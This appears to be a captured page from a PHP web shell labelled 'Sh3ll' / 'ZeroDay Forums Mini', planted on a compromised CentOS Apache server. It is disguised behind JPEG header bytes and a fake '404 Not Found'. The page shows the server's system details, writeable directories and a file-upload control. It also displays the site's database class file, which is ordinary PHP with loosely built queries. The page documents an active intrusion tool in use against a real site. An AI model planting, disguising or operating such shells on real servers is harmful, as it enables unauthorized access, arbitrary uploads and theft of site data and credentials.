ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/lnovel/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/lnovel/lib/class_db.php
<?php
class db_driver {
    var $obj = array (
        "sql_database"   => "",
        "sql_user"       => "",
        "sql_pass"       => "",
        "sql_host"       => "",
        "sql_port"       => "",
        "sql_tbl_prefix" => "",
        'debug'          => 0
    );
    var $query_id      = "";
    var $connection_id = "";
    var $record_row    = array();
    var $return_die    = 0;
    var $error         = "";
    var $mysql_version = "";
    var $failed        = 0;
    // Connect to the database
    /*========================================================================*/
    function connect() {
        global $INFO;
        $this->obj['sql_database']     = $INFO['sql_database'];
        $this->obj['sql_user']         = $INFO['sql_user'];
        $this->obj['sql_pass']         = $INFO['sql_pass'];
        $this->obj['sql_host']         = $INFO['sql_host'];
        $this->obj['sql_tbl_prefix']   = $INFO['sql_tbl_prefix'];
        $this->connection_id = mysqli_connect($this->obj['sql_host'] ,$this->obj['sql_user'] ,$this->obj['sql_pass'], $this->obj['sql_database']);
        if (mysqli_connect_errno())
        {
            echo "Failed to connect to Database: " . mysqli_connect_error();
            exit();
        }
        mysqli_set_charset($this->connection_id,"utf8mb4");
    }
// Process a query
    /*========================================================================*/
    function query($the_query) {
        $this->query_id = mysqli_query($this->connection_id,$the_query);
        if (!$this->query_id)
        {
            echo("Error description: " . mysqli_error($this->connection_id));
            exit();
        }
        return $this->query_id;
    }
// Fetch a row based on the last query
    /*========================================================================*/
    function fetch_row($query_id = "") {
        if ($query_id == ""){
            $query_id = $this->query_id;
        }
        $this->record_row = mysqli_fetch_array($query_id, MYSQLI_ASSOC);
        return $this->record_row;
    }
    /*========================================================================*/
    function get_num_rows() {
        $res = mysqli_num_rows($this->query_id);
        if($res>0){
            return $res;
        }else{
            return 0;
        }
    }
    function do_insert($table,$insData){
        /*$columns = implode(", ",array_keys($insData));
        $escaped_values = array_map(array($this,'real_escape_string'), array_values($insData));
        foreach ($escaped_values as $idx=>$data){
            $escaped_values[$idx] = "'".$data."'";
        }
        $values  = implode(", ", $escaped_values);
        $this->query("INSERT INTO $table ($columns) VALUES ($values);");
        return $this->insert_id();*/
        $columns = "`".implode("`,`", array_keys($insData))."`";
        $escaped_values = array_map(array($this, 'real_escape_string'), array_values($insData));
        foreach ( $escaped_values as $idx => $data ) {
            $escaped_values[$idx] = "'".$data."'";
        }
        $values = implode(", ", $escaped_values);
        if($this->query("INSERT INTO $table ($columns) VALUES ($values);")){
            return $this->insert_id();
        }else{
            echo mysqli_error($this->connection_id);
            exit();
        }
    }
    function real_escape_string($str){
        return mysqli_real_escape_string($this->connection_id,$str);
    }
    function insert_id(){
        return mysqli_insert_id($this->connection_id);
    }
    function do_update($table, $yourarray, $where)
    {
        $cols = array_keys($yourarray);
        $escaped_values = array_map(array($this, 'real_escape_string'), array_values($yourarray));
        $set = '';
        $x = 1;
        foreach ( $cols as $key => $val ) {
            $set .= "`{$val}`='{$escaped_values[$key]}'";
            if ( $x < count($cols) ) {
                $set .= ',';
            }
            $x++;
        }
        $query = "UPDATE {$table} SET {$set} $where";

        if($this->query($query)){
            return $where;
        }else{
            echo mysqli_error($this->connection_id);
            exit();
        }
    }
    function get_colum_tb($table){
        $arr = array();
        $q_colum = $this->query("SHOW COLUMNS FROM ".$table);
        while ($r_colum = $this->fetch_row($q_colum)){
            $arr[$r_colum['Field']] = '';
        }
        return $arr;
    }
    function get_version(){
        return mysqli_get_server_info($this->connection_id);
    }
    function free_result() {
        if($this->query_id and is_object($this->query_id)) {
            mysqli_free_result($this->query_id);
        }
    }
    function close_db() {
        return mysqli_close($this->connection_id);
    }
}
?>

ZeroDay Forums Mini